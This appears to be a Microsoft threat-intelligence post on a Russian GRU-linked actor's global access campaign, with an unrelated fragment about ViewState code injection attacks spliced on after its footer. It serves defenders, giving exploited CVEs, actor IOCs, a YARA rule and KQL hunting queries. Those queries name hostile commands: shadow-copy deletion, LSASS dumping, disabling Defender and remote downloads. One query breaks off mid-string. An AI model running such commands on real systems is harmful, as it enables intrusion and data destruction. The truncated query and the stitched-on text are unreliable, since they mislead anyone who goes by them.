Seashell Blizzard’s far-reaching access operations pose a significant risk to organizations within the group’s strategic purview. Despite the commodity nature of this subgroup’s exploitation patterns, notable shifts within the actor’s post-compromise tradecraft are reflected within the subgroup’s activities, which may carry over to other aspects of Seashell Blizzard’s more traditional operations and carry more significant implications for auditing during incident response. 

Microsoft Threat Intelligence tracks campaigns launched by Seashell Blizzard as well as this subgroup, and when able, directly notifies customers who have been targeted or compromised, providing them with the necessary information to help secure their environments. As part of our continuous monitoring, analysis, and reporting on the threat landscape, we are sharing our research on this campaign’s activity to raise awareness of the observed TTPs and to educate organizations on how to harden their attack surfaces against this and similar activity. 

Who is Seashell Blizzard?

Seashell Blizzard is a high-impact threat actor linked to the Russian Federation that conducts global activities on behalf of Russian Military Intelligence Unit 74455 (GRU). Seashell Blizzard’s specialized operations have ranged from espionage to information operations and cyber-enabled disruptions, usually in the form of destructive attacks and manipulation of industrial control systems (ICS). Active since at least 2013, this threat actor’s prolific operations include destructive attacks such as KillDisk (2015) and FoxBlade (2022), supply-chain attacks (MeDoc, 2017), and pseudo-ransomware attacks such as NotPetya (2017) and Prestige (2022), in addition to numerous other specialized disruptive capabilities. Seashell Blizzard is assessed to be highly skilled at enabling broad and persistent access against priority computer networks, which sometimes gives the group significant tenure for future potential follow-on activity.

Due to their specialization in computer network exploitation (CNE) and expertise targeting critical infrastructure such as ICS and supervisory control and data acquisition systems (SCADA), Seashell Blizzard’s operations have frequently been leveraged during military conflicts and as an adaptable element during contentious geopolitical events. Historically, some of Seashell Blizzard’s operations may be considered part of a spectrum of retaliatory actions sometimes used by the Russian Federation. Since Russia’s invasion of Ukraine in 2022, Seashell Blizzard has conducted a steady stream of operations complementing Russian military objectives. The threat actor’s longstanding strategic targets in the region have included critical infrastructure such as energy and water, government, military, transportation and logistics, manufacturing, telecommunications, and other supportive civilian infrastructure.

Since at least April 2023, Seashell Blizzard has increased targeting of military communities in the region, likely for tactical intelligence gain. Their persistent targeting of Ukraine suggests Seashell Blizzard is tasked to obtain and retain access to high-priority targets to provide the Russian military and Russian government a range of options for future actions.

Seashell Blizzard’s network intrusions leverage diverse tradecraft and typically employ a range of common publicly available tools, including Cobalt Strike and DarkCrystalRAT. Network intrusions linked to the threat actor have affected multiple tiers of infrastructure, showcasing Seashell Blizzard’s abilities to target end users, network perimeters, and vertical-specific systems leveraging both publicly available and custom exploits and methods.

Since February 2022, Seashell Blizzard has generally taken three approaches to their network intrusions:

• Targeted: Seashell Blizzard has frequently used tailored mechanisms to access targets, including scanning and exploitation of specific victim infrastructure, phishing, and modifying legitimate functionality of existing systems to either expand network access or obtain confidential information.
• Opportunistic: Seashell Blizzard has increasingly used broad exploitation of Internet-facing infrastructure and distribution of malware implants spread through trojanized software to achieve scalable but indiscriminate access. In cases where a resulting victim is identified as strategically valuable, Microsoft Threat Intelligence has observed the threat actor conducting significant post-compromise activities.
• Hybrid: Seashell Blizzard has very likely gained access to target organizations using a limited supply-chain attack narrowly focused within Ukraine, an operation that was recently mitigated by the Computer Emergency Response Team of Ukraine (CERT-UA). Other hybrid methods have included compromise of regional managed IT service providers, which often afforded regional or vertical-specific access to diverse targets.

Seashell Blizzard overlaps with activity tracked by other security vendors as BE2, UAC-0133, Blue Echidna, Sandworm, PHANTOM, BlackEnergy Lite, and APT44.

Attribution assessment

Microsoft Threat Intelligence assesses that the initial access subgroup is linked to Seashell Blizzard. Despite the subgroup’s opportunistic tactics, we are able to distinguish this subgroup due to its consistent use of distinct exploits, tooling, infrastructure, and late-stage methods used to establish persistence. Moreover, our longstanding forensic investigation uncovered distinct post-compromise activities, a part of which incorporated specific operational capabilities and resources chiefly utilized by Seashell Blizzard. We have also observed the initial access subgroup to pursue access to an organization prior to a Seashell Blizzard-linked destructive attack.

Scope of operations and targeting trends

Microsoft Threat Intelligence assesses that Seashell Blizzard uses this initial access subgroup to horizontally scale their operations as new exploits are acquired and to sustain persistent access to current and future sectors of interest to Russia. This subgroup conducts broad operations against a variety of sectors and geographical areas. In 2022, its primary focus was Ukraine, specifically targeting the energy, retail, education, consulting, and agriculture sectors. In 2023, it globalized the scope of its compromises, leading to persistent access within numerous sectors in the United States, Europe, Central Asia, and the Middle East. It frequently prioritized sectors that either provided material support to the war in Ukraine or were geopolitically significant. In 2024, while the exposure of multiple vulnerabilities likely offered the subgroup more access than ever, it appeared to have honed its focus to the United States, Canada, Australia, and the United Kingdom.

This subgroup’s historical pattern of exploitation has also led to the compromise of globally diverse organizations that appear to have limited or no utility to Russia’s strategic interests. This pattern suggests the subgroup likely uses an opportunistic “spray and pray” approach to achieving compromises at scale to increase the likelihood of acquiring access at targets of interest with limited tailored effort. In cases where a strategically significant target is compromised, we have observed significant later post-compromise activity. The geographic focus of the subgroup frequently transitions between broad campaigns against multiple geographic targets and a narrow focus on specific regions or countries, demonstrating the subgroup’s flexibility to pursue unique regional objectives.

Initial access subgroup opportunistically compromises perimeter infrastructure using published CVEs

Since late 2021, Seashell Blizzard has used this initial access subgroup to conduct targeted operations by exploiting vulnerable Internet-facing infrastructure following discovery through direct scanning and, more uniquely, use of third-party internet scanning services and knowledge repositories. These exploitation efforts are followed by an operational lifecycle using a consistent set of TTPs to support persistence and lateral movement, which have incrementally evolved to become more evasive over time. Microsoft Threat Intelligence has identified at least three distinct exploitation patterns and operational behaviors linked to this subgroup, which are described in more detail below:

To date, at least eight vulnerabilities common within specific categories of server infrastructure typically found on network perimeters of small office/home office (SOHO) and enterprise networks have been exploited by this subgroup:

• Microsoft Exchange (CVE-2021-34473)
  • Zimbra Collaboration (CVE-2022-41352)
  • OpenFire (CVE-2023-32315)
  • JetBrains TeamCity (CVE-2023-42793)
  • Microsoft Outlook (CVE-2023-23397)
  • Connectwise ScreenConnect (CVE-2024-1709)
  • Fortinet FortiClient EMS (CVE-2023-48788)
  • JBOSS (exact CVE is unknown)

In nearly all cases of successful exploitation, Seashell Blizzard carried out measures to establish long-term persistence on affected systems. This persistent access is noted in at least three cases to have preceded select destructive attacks attributed to Seashell Blizzard, highlighting that the subgroup may periodically enable destructive or disruptive attacks.

Exploitation patterns

We have observed the initial access subgroup using three specific exploit patterns:

Deployment of remote management and monitoring (RMM) suites for persistence and command and control (February 24, 2024 – present)

In early 2024, the initial access subgroup began using RMM suites, which was a novel technique used by Seashell Blizzard to achieve persistence and command and control (C2). This was first observed when the subgroup exploited vulnerabilities in ConnectWise ScreenConnect (CVE-2024-1709) and Fortinet FortiClient EMS (CVE-2023-48788). The subgroup then deployed RMM software such as Atera Agent and Splashtop Remote Services. The use of RMM software allowed the threat actor to retain critical C2 functions while masquerading as a legitimate utility, which made it less likely to be detected than a remote access trojan (RAT). While these TTPs have been used by other nation-state threat actors since at least 2022, including by Iranian state actor Mango Sandstorm, the Seashell Blizzard initial access subgroup’s specific techniques are considered distinct.

During the first weeks of this exploitation pattern, the initial access subgroup primarily targeted organizations in Ukraine, the United States, Canada, the United Kingdom, and Australia. It is highly likely that Seashell Blizzard conducted post-compromise activity at only a limited number of organizations that were part of this initial victim pool. For these organizations, Seashell Blizzard conducted preliminary credential access through multiple means and deployed at least one custom utility to facilitate remote access and tunneling (see the section on ShadowLink below for more information).

Both CVE-2024-1709 and CVE-2023-48788 provided the ability to launch arbitrary commands on a vulnerable server. Following exploitation, the subgroup used two methods of payload retrieval to install RMM agents on affected servers:

• Retrieval of Atera Agent installers from legitimate agent endpoints – Commonly observed on exploited ScreenConnect servers, Seashell Blizzard used resulting command execution to retrieve Atera installers via Bitsadmin and curl from legitimate installation URLs hosted by Atera.

• Retrieval of Atera Agent from actor-controlled infrastructure – During exploitation of CVE-2023-48788 between April 9 and April 10, 2024, Seashell Blizzard retrieved remote agent installers from actor-controlled virtual private server (VPS) infrastructure.

Following installation of RMM software, Seashell Blizzard uses the native functionality of the agents to deploy secondary tools to help credential acquisition, data exfiltration, and upload of custom utilities to facilitate more robust access to compromised systems.

Seashell Blizzard likely uses three primary methods of credential access:

• Registry-based credential access via reg.exe:

• Credential access via renamed procdump:

• Since RMM agents typically afford an interactive graphical interface, native credential access mechanisms common via task manager were likely also carried out. In addition, credential access via Taskmanager UI by LSASS process dumping was likely also employed.

During Seashell Blizzard intrusions, we observed rclone.exe deployed to affected servers and subsequently used to carry out data exfiltration using an actor-supplied configuration file.

Among a subgroup of victims, Seashell Blizzard carried out unique post-compromise activity, indicating that the threat actor sought more durable persistence and direct access. In these cases, Seashell Blizzard deployed OpenSSH with a unique public key, allowing them to access compromised systems using an actor-controlled account and credential, in addition to a unique persistence and assured C2 method known to Microsoft Threat Intelligence as ShadowLink.

ShadowLink facilitates persistent remote access by configuring a compromised system to be registered as a Tor hidden service. This is achieved using a combination of Tor service binaries and a unique actor-defined Tor configuration file (referred as the ‘torrc’) configuring the system for remote access. Systems compromised with ShadowLink receive a unique .onion address, making them remotely accessible via the Tor network. This capability allows Seashell Blizzard to bypass common exploit patterns of deploying a RAT, which commonly leverages some form of C2 to actor-controlled infrastructure that are often easily audited and identified by network administrators. Instead, by relying on Tor hidden services, the compromised system creates a persistent circuit to the Tor network, acting as a covert tunnel, effectively cloaking all inbound connections to the affected asset and limiting exposures from both the actor and victim environment.

ShadowLink contains two primary components: a legitimate Tor service binary and a torrc which contains requisite configurations for the Tor hidden services address—specifically, port-forwarding for common services such as Remote Desktop Protocol (RDP) and SecureShell (SSH) Protocol. Commonly, Seashell Blizzard has utilized ShadowLink to redirect inbound connections to the Tor hidden service address to ports for RDP (3389). ShadowLink persisted via a system service:

Microsoft Threat Intelligence has also observed Forest Blizzard, a separate GRU actor, leveraging similar Tor-based capabilities in their operations.

Web shell deployment for persistence and C2 (late 2021 – present)

Since late 2021, the Seashell Blizzard initial access subgroup has primarily deployed web shells following successful exploitation to maintain footholds and achieve the ability to execute commands necessary to deploy secondary tooling to assist lateral movement. To date, this exploit pattern remains its predominant persistence method. Beginning in mid-2022, this pattern of exploitation enabled unique post-compromise activities against organizations in Central Asia and Europe, which were likely intended to further Russia’s geopolitical objectives and preposition against select strategic targets.

Exploitation of Microsoft Exchange and Zimbra vulnerabilities

Microsoft Threat Intelligence has identified at least two web shells consistently deployed by this initial access subgroup. While web shells can be deployed using a variety of methods, they are most often deployed following the exploitation of vulnerabilities allowing remote code execution (RCE) or achieving some level of arbitrary file upload. In the case of the initial access subgroup, we have observed web shells deployed following exploitation of vulnerabilities in Microsoft Exchange (CVE-2021-34473) and Zimbra (CVE-2022-41352). In cases where RCE is available, the initial access subgroup routinely retrieves web shells from actor-controlled infrastructure. This infrastructure can be either legitimate but compromised websites or dedicated actor infrastructure.

We observed the following web shell retrieval commands being used:

Microsoft Threat Intelligence has identified a web shell that we assess as exclusive to the initial access subgroup and is associated with the previously mentioned web shell retrieval patterns. Detected as LocalOlive, this web shell is identified on compromised perimeter infrastructure and serves as the subgroup’s primary means of achieving C2 and deploying additional utilities to compromised infrastructure. Written in ASPX supporting C#, the web shell carries sufficient yet rudimentary functionality to support the following secondary activities:

• Upload and download files
• Run shell commands
• Open a port (default port is set to TCP 250)

Figure 6. LocalOlive web shell def.aspx

On October 24, 2022, the initial access subgroup successfully exploited CVE-2022-41352. This Zimbra Collaborative vulnerability allows a threat actor to deploy web shells and other arbitrary files by sending an email with a specially crafted attachment, effectively exploiting an arbitrary file-write vulnerability. The initial access subgroup leveraged this vulnerability to deliver a primitive web shell to affected servers, allowing for execution of arbitrary commands.

Emails were sent from the following actor-controlled addresses:

• akfcjweiopgjebvh@proton.me
• ohipfdpoih@proton.me
• miccraftsor@outlook.com
• amymackenzie147@protonmail.ch
• ehklsjkhvhbjl@proton.me
• MirrowSimps@outlook.com

Figure 7. Web shell used during Zimbra exploitation

Reconnaissance and fingerprinting

After deploying web shells, the initial access subgroup then executes specific sequential commands below likely used to fingerprint and attribute victim networks; these patterns of behavior may indicate that either operators are quick to capitalize on compromises or the possible use of automation following successful exploitation.

Tunneling utilities deployment

When Seashell Blizzard identifies targets of likely strategic value, it often furthers its network compromise by deploying tunneling utilities such as Chisel, plink, and rsockstun to established dedicated conduits into affected network segments.

When Chisel is deployed, it often followed multiple naming conventions, including:

• MsChSoft.exe
• MsNan.exe
• Msoft.exe
• Chisel.exe
• Win.exe
• MsChs.exe
• MicrosoftExchange32.exe
• Desk.exe
• Sys.exe

For example, the initial access subgroup has used the following tunneling commands:

When rsockstun is deployed, it has used naming conventions such as Sc.exe.

Tunneling launch

When establishing tunnels, the initial access subgroup has routinely established reverse tunnels to exclusive VPS actor-owned infrastructure, including:

Note that these IP addresses are relevant within or around the timeframes enumerated in the table above. Some IP addresses may no longer be used by Seashell Blizzard at the time of this writing but are provided for historical and forensic understanding.

Modification of infrastructure to expand network influence through credential collection (late 2021 – 2024)

In targeted operations where the initial access subgroup is likely seeking network access, Microsoft Threat Intelligence has observed subsequent malicious modifications to network resources including Outlook Web Access (OWA) sign-in pages and DNS configurations.

Modifying network resources allows Seashell Blizzard to passively gather relevant network credentials, which may be used to expand the actor’s access to sensitive information and widen its access to target networks in general. Notably, the infrastructure associated with this unique technique is sometimes also used in the two prior exploitation patterns, highlighting the versatility of late-stage infrastructure which may not always be limited to distinct patterns of exploitation.

Modification of web access sign-in portals

The initial access subgroup uses rogue JavaScript inserted into otherwise legitimate sign-in portals. This malicious JavaScript collects and sends clear text usernames and passwords to actor-controlled infrastructure as they are submitted in real time by users of the affected organization. We assess that this method has likely afforded the subgroup credentials to support lateral movement within several organizations.

Microsoft Threat Intelligence has tracked the following actor-controlled infrastructure linked to this unique credential collection method when modifying legitimate OWA sign-in pages:

• hwupdates[.]com
• cloud-sync[.]org
• 103.201.129[.]130

Modification of DNS configurations

Microsoft Threat Intelligence assesses with moderate confidence that the initial access subgroup has modified DNS A record configurations for select targets. While the purpose of these modifications is unclear, due to the nature of affected systems, it is possible that they may have been purposed to intercept credentials from critical authentication services.

Conclusion

Given that Seashell Blizzard is Russia’s cyber tip of the spear in Ukraine, Microsoft Threat Intelligence assesses that this access subgroup will continue to innovate new horizontally scalable techniques to compromise networks both in Ukraine and globally in support of Russia’s war objectives and evolving national priorities. This subgroup, which is characterized within the broader Seashell Blizzard organization by its near-global reach, represents an expansion in both the geographical targeting conducted by Seashell Blizzard and the scope of its operations. At the same time, Seashell Blizzard’s far-reaching, opportunistic access methods likely offer Russia expansive opportunities for niche operations and activities that will continue to be valuable over the medium term.

Mitigation and protection guidance

To harden networks against the Seashell Blizzard activity listed above, defenders can implement the following:

Strengthen operating environment configuration

• Utilize a vulnerability management system, such as Microsoft Defender Vulnerability Management, to manage vulnerabilities, weaknesses, and remediation efforts across your environment’s operating systems, software inventories, and network devices.
• Require multifactor authentication (MFA). While certain attacks such as AiTM phishing attempt to circumvent MFA, implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
  • Leverage phishing-resistant authentication methods such as FIDO Tokens, or Microsoft Authenticator with passkey. Avoid telephony-based MFA methods to avoid risks associated with SIM-jacking.
• Implement Entra ID Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Organizations can also use Microsoft Defender External Attack Surface Management (EASM) , a tool that continuously discovers and maps digital attack surface to provide an external view of your online infrastructure. EASM leverages vulnerability and infrastructure data to generate Attack Surface Insights, reporting that highlights key risks to a given organization.
• Enable Network Level Authentication for Remote Desktop Service connections.
• Enable AppLocker to restrict specific software tools prohibited within the organization, such as reconnaissance, fingerprinting, and RMM tools, or grant access to only specific users.

Strengthen Microsoft Defender for Endpoint configuration

• Ensure that tamper protection is enabled in Microsoft Defender for Endpoint. 
• Enable network protection in Microsoft Defender for Endpoint. 
• Turn on web protection.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.     
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.  
• Microsoft Defender XDR customers can turn on the following attack surface reduction rules to prevent common attack techniques used by threat actors. 
  • Block executable content from email client and webmail 
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block execution of potentially obfuscated scripts
  • Block JavaScript or VBScript from launching downloaded executable content
  • Block process creations originating from PSExec and WMI commands

Strengthen Microsoft Defender Antivirus configuration

• Turn on cloud-delivered protection in Microsoft Defender Antivirus, or the equivalent for your antivirus product, to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants. 
• Enable Microsoft Defender Antivirus scanning of downloaded files and attachments.
• Enable Microsoft Defender Antivirus real-time protection.
• Turn on PUA protection in block mode in Microsoft Defender Antivirus 

Strengthen Microsoft Defender for Office 365 configuration

• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable Zero-hour auto purge (ZAP) in Microsoft Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Invest in advanced anti-phishing solutions that monitor incoming emails and visited websites. Microsoft Defender for Office 365 merges incident and alert management across email, devices, and identities, centralizing investigations for email-based threats.
• Configure Microsoft Defender for Office 365 to recheck links on click.
• Use the Attack Simulator in Microsoft Defender for Office 365 to run realistic, yet safe, simulated phishing and password attack campaigns. Run spear-phishing (credential harvest) simulations to train end-users against clicking URLs in unsolicited messages and disclosing credentials.

Strengthen Microsoft Defender for Identity configuration

• Prevent clear text credential exposure.
• Reduce lateral movement paths that may be used by attackers.
• Identify legacy components that may introduce security vulnerabilities.

Microsoft Defender XDR detections

Microsoft Defender Antivirus 

Microsoft Defender Antivirus detects this threat as the following malware: 

• HackTool:Win64/ShadowLink.A!dha
• HackTool:Win64/ShadowLink.B!dha
• Exploit:Python/CVE-2024-1709
• Rnasom:Win32/Inc.MA
• BackDoor:PHP/Remoteshell.V
• Trojan:Win32/LocalOlive.A!dha
• Trojan:Win32/LocalOlive.B!dha
• Trojan:Win32/LocalOlive.C!dha

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Seashell Blizzard activity group

The following alerts might also indicate threat activity related to this threat. Note, however, these alerts also can be triggered by unrelated threat activity.

• Possible Seashell Blizzard activity
• Suspicious Atera installation via ScreenConnect
• Suspicious command execution via ScreenConnect
• Suspicious sequence of exploration activities
• CredentialDumpingViaEsentutlDetector
• Suspicious behavior by cmd.exe was observed
• SQL Server login using xp_cmdshell
• Suspicious port scan activity within an RDP session
• Suspicious connection to remote service
• Suspicious usage of remote management software
• New local admin added using Net commands
• Sensitive data was extracted from registry
• Suspicious Scheduled Task Process Launched
• Potential human-operated malicious activity
• Compromised account conducting hands-on-keyboard attack
• Sensitive file access for possible data exfiltration or encryption
• Possible Fortinet FortiClientEMS vulnerability exploitation
• Possible target of NTLM credential theft
• Possible exploitation of ProxyShell vulnerabilities
• Possibly malicious use of proxy or tunneling tool
• Hidden dual-use tool launch attempt

Microsoft Defender for Cloud

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Communication with suspicious domain identified by threat intelligence
• Suspicious PowerShell Activity Detected
• Detected suspicious combination of HTA and PowerShell
• Detected encoded executable in command line data
• Detected obfuscated command line

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments. Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence to get more information about this threat actor.

Microsoft Defender Threat Intelligence

• Seashell Blizzard
• Seashell Blizzard uses new ShadowLink variant
• Seashell Blizzard exploiting vulnerabilities to install Atera Agent for post-compromise activities
• Seashell Blizzard launches destructive attack against local Ukrainian government, Storm-1512 takes credit
• Credential Theft via Modification of Outlook Web Access (OWA) Login Pages
• Seashell Blizzard Targeting Zimbra Servers Using Malicious Email Attachment
• Seashell Blizzard Uses TOR Hidden Services on Targets for Persistence and Evasion

Hunting queries  

Microsoft Defender XDR

The following sample queries let you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential PowerShell-related indicators for more than a week, go to the Advanced hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

ScreenConnect

Surface the possible exploitation of ScreenConnect to launch suspicious commands.

DeviceProcessEvents
   | where InitiatingProcessParentFileName endswith "ScreenConnect.ClientService.exe"
   | where (FileName in~ ("powershell.exe", "powershell_ise.exe", "cmd.exe") and
            ProcessCommandLine has_any ("System.DirectoryServices.ActiveDirectory.Domain", "hidden -encodedcommand", "export-registry", "compress-archive", "wget -uri", "curl -Uri", "curl -sko", "ipconfig /all", "& start /B", "start msiexec /q /i", "whoami", "net user", "net group", "localgroup administrators", "dsquery", "samaccountname=", "query session", "adscredentials", "o365accountconfiguration", "-dumpmode", "-ssh", "o           or (FileName =~ "wget.exe" and ProcessCommandLine contains "http")
           or (FileName =~ "mshta.exe" and ProcessCommandLine contains "http")
           or (FileName =~ "curl.exe" and ProcessCommandLine contains "http")
           or ProcessCommandLine has_all ("powershell", "-command", "curl")
           or ProcessCommandLine has_any ("E:jscript", "e:vbscript", "start msiexec /q /i")
           or ProcessCommandLine has_all ("reg add", "DisableAntiSpyware", @"\Microsoft\Windows Defender")
           or ProcessCommandLine has_all ("reg add", "DisableRestrictedAdmin", @"CurrentControlSet\Control\Lsa")
           or ProcessCommandLine has_all ("vssadmin", "delete", "shadows")
           or ProcessCommandLine has_all ("vssadmin", "list", "shadows")
           or ProcessCommandLine has_all ("wmic", "process call create")
           or ProcessCommandLine has_all ("wmic", "delete", "shadowcopy")
           or ProcessCommandLine has_all ("wmic", "shadowcopy", "call create")
           or ProcessCommandLine has_all ("wbadmin", "delete", "catalog")
           or ProcessCommandLine has_all ("ntdsutil", "create full")
           or (ProcessCommandLine has_all ("schtasks", "/create") and not(ProcessCommandLine has "shutdown"))
           or (ProcessCommandLine has "nltest" and ProcessCommandLine has_any ("domain_trusts", "dclist", "all_trusts"))
           or (ProcessCommandLine has "lsass" and ProcessCommandLine has_any ("procdump", "tasklist", "findstr"))
           or FileName in~ ("tasklist.exe", "ssh.exe", "icacls.exe", "certutil.exe", "calc.exe", "bitsadmin.exe", "accesschk.exe", "mshta.exe",
                                      "winrm.exe", "dsquery.exe", "makecab.exe", "hh.exe", "pcalua.exe", "regsvr32.exe",
                                      "cmstp.exe", "esentutl.exe", "dnscmd.exe", "gpscript.exe", "msdt.exe", "msra.exe", "odbcconf.exe")
   | where not(ProcessCommandLine has_any ("servicedesk.atera.com", "support.csolve.net", "lt.tech-keys.com", "certutil  -hashfile"))

FortiClient EMS log capture

If you believe your FortiClient has been exploited before patching, this query may help with further investigation.

According to Horizon3 research, the C:\Program Files (x86)\Fortinet\FortiClientEMS\logs log file can be examined to identify malicious activity. Run the following query to surface devices with this log file for further investigation. 

DeviceFileEvents
| where FileName contains @"C:\Program Files (x86)\Fortinet\FortiClientEMS\logs"
| distinct DeviceName

Additionally, Horizon3 noted that this SQL vulnerability could allow for remote code execution (RCE) using the xp_cmdshell functionality of Microsoft SQL Server. The SQL logs can also be examined for evidence of xp_cmdshell being leveraged to spawn a Windows command shell.

According to Microsoft research, the following query could help surface exploitation activity related to this vulnerability. 

DeviceProcessEvents
| where InitiatingProcessFileName == "sqlservr.exe"
| where FileName =~ "cmd.exe"
| where ProcessCommandLine has_any ("webclient", "downloadstring", "http", "https", "downloadfile")
| where InitiatingProcessCommandLine has_all ("sqlservr.exe", "-sFCEMS")

Tor service

Find services associated with Tor. 

DeviceEvents
| where ActionType == 'ServiceInstalled'
| extend JSON = parse_json(AdditionalFields)
| where JSON.ServiceName has 'tor'

YARA rule

Use the following Yara rule to find malicious JavaScript inserted into OWA sign-in pages.   

rule injected_cred_logger_owa {  
strings:  
$owa = "<!-- OwaPa"   
$jq = "jquery"   
$ajax = ".ajax"   
$keypress = ".keypress"   
$which = "e.which == 13"   
$encoding1 = "btoa"   
$encoding2 = "unescape"   
$encoding3 = "encodeURIComponent"  
$m1 = "GET"   
$m2 = "POST"   
condition:   
$owa and $jq and $ajax and $keypress and $which and (2 of ($encoding*)) and (1 of ($m*))   
}

Microsoft Sentinel 

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.  

While the below query is not linked to any specific threat actor, it is effective in surfacing network connectivity that may indicate use of remote monitoring and management program ScreenConnect. Implementing this query can help you stay vigilant and safeguard your organization from unauthorized use of RMM software:

• ScreenConnect network connection

Below are the queries using Sentinel ASIM Functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Below query can be used to hunt normalized Network Session events using the ASIM unifying parser _Im_NetworkSession for IOCs:

    let lookback = 30d;
    let ioc_ip_addr = dynamic(["103.201.129.130", "104.160.6.2", "195.26.87.209"]);
    let ioc_domains = dynamic(["hwupdates.com", "cloud-sync.org"]);
    _Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
    | where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
    | summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor 

Below query can be used to hunt normalized Web Session events using the ASIM unifying parser _Im_WebSession for IOCs:

    let lookback = 30d;
    let ioc_ip_addr = dynamic(["103.201.129.130", "104.160.6.2", "195.26.87.209"]);
    let ioc_url_patterns = dynamic(["hwupdates.com", "cloud-sync.org","def.aspx"]);
    _Im_WebSessionn(starttime=todatetime(ago(lookback)), endtime=now())
    | where url has_any (ioc_url_patterns) or DstIpAddr has_any (ioc_ip_addr)
     | summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor  

Indicators of compromise

References

• https://nvd.nist.gov/vuln/detail/CVE-2024-1709
• https://nvd.nist.gov/vuln/detail/CVE-2023-48788
• https://www.cisa.gov/news-events/ics-alerts/ir-alert-h-16-056-01
• https://www.justice.gov/opa/pr/six-russian-gru-officers-charged-connection-worldwide-deployment-destructive-malware-and
• https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
• https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains
• https://cloud.google.com/blog/topics/threat-intelligence/trojanized-windows-installers-ukrainian-government
• https://cert.gov.ua/article/6278706
• https://cloud.google.com/blog/topics/threat-intelligence/apt44-unearthing-sandworm
• https://nvd.nist.gov/vuln/detail/CVE-2021-34473
• https://nvd.nist.gov/vuln/detail/CVE-2022-41352
• https://nvd.nist.gov/vuln/detail/CVE-2023-32315
• https://nvd.nist.gov/vuln/detail/CVE-2023-42793
• https://nvd.nist.gov/vuln/detail/CVE-2023-23397
• https://medium.com/@laurent.mandine/chisel-the-hackers-hidden-tunnel-for-stealthy-network-access-acdcdaafeabd
• https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post The BadPilot campaign: Seashell Blizzard subgroup conducts multiyear global access operation appeared first on Microsoft Security Blog.

Microsoft has since identified over 3,000 publicly disclosed keys that could be used for these types of attacks, which are called ViewState code injection attacks. Whereas many previously known ViewState code injection attacks used compromised or stolen keys that are often sold on dark web forums, these publicly disclosed keys could pose a higher risk because they are available in multiple code repositories and could have been pushed into development code without modification.

Microsoft recommends that organizations do not copy keys from publicly available sources and to regularly rotate keys. Microsoft Defender for Endpoint can help reduce this risk by detecting publicly disclosed keys. To further discourage this practice, we have also removed key samples from limited instances where they were included in our own public documentation.

The limited malicious activity observed in December 2024 identified one publicly disclosed key that was used to inject malicious code. Microsoft Threat Intelligence continues to monitor the additional use of this attack technique. In this blog, we share more information about ViewState code injection attacks and provide recommendations for securing machine keys and monitoring configuration files.

What are ViewState code injection attacks?

ViewState is the method by which ASP.NET Web Forms preserve page and control state between postbacks. ViewState data is stored in a hidden field on the page and is encoded using Base64-encoding. To protect ViewState against tampering and information disclosure, the ASP.NET page framework uses machine keys: ValidationKey and DecryptionKey. ValidationKey is used to create a message authentication code (MAC) to be attached in the ViewState. DecryptionKey is related to the option of encrypting ViewState. These keys are either auto-generated and stored in registry or specified manually in config files.

If these keys are stolen or made accessible to threat actors, these threat actors can craft a malicious ViewState using the stolen keys and send it to the website via a POST request. When the request is processed by ASP.NET Runtime on the targeted server, the ViewState is decrypted and validated successfully because the right keys are used. The malicious code is then loaded into the worker process memory and executed, providing the threat actor remote code execution capabilities on the target IIS web server.

ViewState code injection attack leading to Godzilla post-exploit framework

